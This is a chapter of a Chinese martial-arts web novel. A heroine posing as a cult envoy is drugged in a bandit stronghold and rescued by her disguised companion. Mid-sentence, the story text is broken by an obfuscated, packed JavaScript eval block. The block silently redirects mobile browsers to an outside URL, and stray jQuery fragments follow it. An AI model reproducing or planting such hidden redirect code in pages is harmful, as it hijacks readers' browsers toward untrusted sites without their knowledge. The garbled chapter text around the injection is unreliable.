84. 问来处(四)
作品:《江湖路远 幸有君同》 我并不急着回答,而是反问道:“你们弄出那种东西去害人,也是上面授意的吗?”
除了马乾坤,另两人面色倏地变了。
马乾坤则镇定道:“渡魂散确是金明教的东西,不过这形夭···”他看着我,嘴角缓缓勾起,“姑娘既是教中人,应该也不足为奇吧。”
我望着他:“教中从不轻易在中原暴露身份,你们敢明目张胆在祁连山一带制作药人,就不怕引起昭毅军的注意?还是说,你们有别的目的?”
我记得雷墨阳曾和我说过,卫残心与谢无妄此人不同,谢无妄城府极深,行事谨慎。而这无定寨,地处祁连山深处,却在昭毅军眼皮子底下大张旗鼓地用药人,他们极有可能和卫残心有关联。
若真是如此,那我现在的处境就微妙了,我是借着谢无妄的名头进来的,若这寨子真是卫残心的据点,那我和谢无妄的关系,反而成了要命的东西。
可这里如果真是金明教的据点,昭毅军镇守祁连山,难道会对眼皮子底下的事一无所知?不,那是不可能的。
除非···他们装作不知道!
可殷子墨那样的人,会容忍这种东西存在吗?如若真是如此···我背后出了一层冷汗。
“姑娘说笑了,昭毅军?管不到这儿。”那膀大腰圆的人哈哈大笑起来。
我不解地望着他。
马乾坤也是淡淡一笑:“姑娘有所不知,殷子墨和雷墨阳同为大周西北名将,一个镇守北境,一个镇守祁连山,向来井水不犯河水。”他看了看我,“雷将军对金明教素有旧仇,那是人尽皆知的事。可那是雷将军的事,殷子墨何必蹚这趟浑水?昭毅军犯不着替雷墨阳的人出头。”
那膀大腰圆的人大笑着接话:“所以姑娘放心,在这地界上,没人管咱们!”
我心里微微一沉。
原来如此。两家各守其界,互不干涉。雷墨阳与金明教的仇,是雷墨阳的事,殷子墨犯不着为此动用自己的兵马。
合着这无定寨卡在两军之间的空隙里,竟是两头都不沾。
我面上不动声色,只淡淡道:“原来如此。”
“只是,姑娘这番前来,”马乾坤似笑非笑道:“上面并未有所知会,不知所为何事?”
我心知这老狐狸已经在怀疑我的身份了,便直截了当报出我的目的:“诚然,此番主上让我前来是来寻人。”
“寻人?”三人不解望着我。
“不错”我点点头,煞有介事道,“此人名周恪,乃是兰台人士,与主上有些渊源,一年前听闻此人来到这里,后音讯全无,主上便嘱我前来寻找。”
那膀大腰圆的人闻言嗤笑一声:“一年前?每天那么多人经过祁连山,谁知道是不是已经···”
马乾坤回头淡淡地看他一眼,那人霎时就像被噎住了一般,回过神来脸又涨得通红,偏生骂不出口。
“兰台来的?来祁连山做什么?”矮胖子不解。
“这我就不知道了,”我淡淡道,“主上只让我寻人,没让我问缘由。”
马乾坤盯着我,忽然道:“周恪···这名字倒是有些耳熟。姑娘可有他的画像,或是别的什么特征?既是谢护法要找的人,咱们肯定得上心。”
“二十出头,擅医理···”
“嗳···”那矮胖子忽然插嘴,“有个事我倒想起来了,去年确实有个年轻人,自称会医术,本来是三哥你准备试···那什么,我、我是说是不是他···”
马乾坤则打断道:“有还是没有,我们尽快给姑娘回个话,姑娘也好向谢护法交代,”他顿了顿,“如今天色尚早,姑娘不如就在寨中歇息半日如何?”
我将他三人的神色看得分明,心中冷笑,知道他们是要留我了。
“如此,便叨扰了。”
···
此时天色渐明,寨中一切清晰起来,处处炊烟。我被一个女山匪引到一处屋子,美其名曰让我休息,我知实是变相软禁,在查明我身份之前必不会让我出去。
眼下我的时间很短,虽然卫残心与谢无妄二人是死对头,但是互相还是有所忌惮。可一旦他们和卫残心的人确认,谢无妄身边并无我这号人物,我的处境将变得极其危险。
如何在这个时间里找到周恪并顺利地出去,我心里着实没底。不知道残阳和玄剑他们如何了,还有刘桢他们,有没有顺利和残阳他们会合?
还有那座发出嘶吼声的塔,到底藏着什么秘密?难道就是他们制作形夭的地方?
正想着,门忽然被推开了。
马乾坤站在门口,身后跟着一个黑袍人。
“叶姑娘,人找到了。”他微微一笑。
我心头一震,面上却不露声色。
“周恪何在?”我沉静地问道。
“叶姑娘放心,周恪已经找到,兰台人士,半年前来我寨中,因此人略通医理,便未将他制成形夭,而是让其配药,此人有些痴处,因此倒也安分。”
我心中松了一口气,可马乾坤下一句却让我心凉半截。
“有一人,叶姑娘可要见见?”
我看着他没有说话。
“谢护法羁魂使座下的人,正好也在寨中。”
蔺无涯手下?
我心中一沉。心知他们必是让此人前来试我。
“叶姑娘,你们同为谢护法办事,想来必是极熟悉的。”马乾坤似笑非笑盯着我。
我做了最坏的打算。
他让出了身后的黑袍人,那人面无表情地看着我。
不是周恪!
我心头一凛,面上却不动声色。
只听马乾坤恭敬笑道:“使者大人,如何?这位是叶灵澜叶姑娘,谢护法座下,您看着可眼熟?”
黑袍人的目光落在我脸上。我手心捏出了汗,手腕一翻,一根银针暗暗捏在掌心,可如何能一击毙命,我并没有十成把握。我看了看近在身前的马乾坤,正想着该如何动作。
却听那人一字一句冰冷道:“此女乃是冒充,还不速速拿下!”
话音未落,我已经动了。
银针没入袖中,左手顺势扣住马乾坤的咽喉,右手拔出丹心剑,剑尖抵在他后心,“三当家,我劝你还是莫要乱动,不然我只怕自己手滑。”
马乾坤被我制住动弹不得,却仍笑着道:“姑娘好身法,只是,你今日有无命出去,还是两说···”
那黑袍人只是静静地盯着我,并不言语。
“在我面前掳人,”他忽然开口,声音冰冷,“你倒是胆子大。”
我冷笑一声:“少废话,既然你是谢无妄手下,就应该知道···”话说到一半,我竟感觉周身有些发软,握着剑的手开始发颤。
我心中不由大惊。
黑袍人冷声道:“三当家,此女冒充谢护法座下,谢护法的手段你是晓得的,我要带此女离开此处,回去复命。”
马乾坤轻轻挣脱了我的禁锢,笑道:“使者大人,这是自然,既然这是谢护法的家务事,当然得交由您处置。”随即转向我,嗤笑道,“叶姑娘,你没想到吧,你自从进入寨中便中了我的离魂散,可惜了,你倒是好胆色,”他眼中掠过一抹杀意,“只是,知道这里秘密的要么是形夭,要么···”他冷然一笑,“就是死人了。”
手中丹心剑握不住了,我拄
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228273|193310||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着剑就要跪倒在地。
一双手接住了我,是那黑袍人。
他居高临下望着我冷笑。
我咬破舌尖,剧痛让我清明了一瞬,却仍是抵不住脑海中的眩晕。
恍惚间,听到他说道:“三当家,你既知我的来意,便知道我要什么?”
马乾坤连忙应道:“是,是!使者大人,这是改良版的渡魂散药方。”他从怀中取出一个布包,双手奉上,“只是不知谢护法有何吩咐?那周恪到底什么来头,为何这女子也要寻他?”
“这是主上的事,”黑袍人冷冷道,“难不成还要说给你听?”
“不敢,不敢。小人这就吩咐带他过来。使者稍候。”马乾坤恭敬地退了下去。
我只感觉眼前越来越模糊,意识一点点往下沉。
正在此时,口中突然被喂入一颗药丸。我拼命挣扎,却被捂住了嘴。
一个熟悉的声音在耳边响起,压得极低:“姐姐,是我。这是解药,快服下。”
残阳?!
黑袍人是残阳??
我就着他的手服下解药,片刻后,眼前开始清明起来。
黑袍人揭下面罩,是残阳!
“残阳!”我又惊又喜,“你如何在这里?”
“姐姐,刘桢说你自己进了寨子,我便想法子跟了进来。”
“玄剑呢?刘桢何念山他们呢?”
他叹了口气,“他们去寻救援了,这无定寨比我们想的要棘手,那马乾坤不是一个好糊弄的人,没有外援,我们很难出去。”
我点点头,“那现在怎么办?你怎么会办成这副模样,若是被他们发现了···”
“姐姐,我和你说过,”他看着我,目光有些复杂,“羁魂使蔺无涯是···”
我点点头,“我知道。”
他一怔。
我看着他的眼睛,“可你还是你。”
他愣住了。
“所以,他们很难发现破绽···”
“姐姐,为什么不听我的,不等我回来??”
我刚要开口,他却自嘲一笑:“你还是不信我···”
“使者大人,周恪带来了。”门口传来马乾坤的声音。
我立刻装晕。
“使者大人,马车也准备好了,大人何不多留几日,也好指点指点我们···”马乾坤笑道。
“将那女子抬到马车上,”残阳冷声道,犹如变了一个人。
“周恪此人,”残阳顿了顿,“主上要活的。你们没动他吧?”
“没有没有!”矮胖子连连摆手,“使者吩咐过要留人,咱们一根手指头都没碰过!”
我被两个山匪抬进马车。
我悄悄睁眼,车厢角落里坐着一个人,二十多岁,衣服已经看不出原本的颜色,头发乱蓬蓬地垂着,遮住了大半张脸。
他低着头,一动不动,像是已经麻木了。
周恪。
眼看即将寨子后,这时那周恪突然缓缓抬起头,露出一张消瘦的脸,眼神混沌,像是刚从一场大梦里醒来。
“···谁?”他哑着嗓子问。
“救你的人。”我说。
他愣了半晌,突然发出一声尖叫:“你不是!你不是!你们不是金明教的人!”
“慢着!”身后传来马乾坤的声音。
我心里一沉,抬手一掌劈在周恪颈侧。
他身子一软,倒了下去。
“停下来!”
马车却并未停下来,而是加速前行。
“拦住他们!”马乾坤厉声喝道。
“坐稳了,姐姐!”残阳的声音传来。

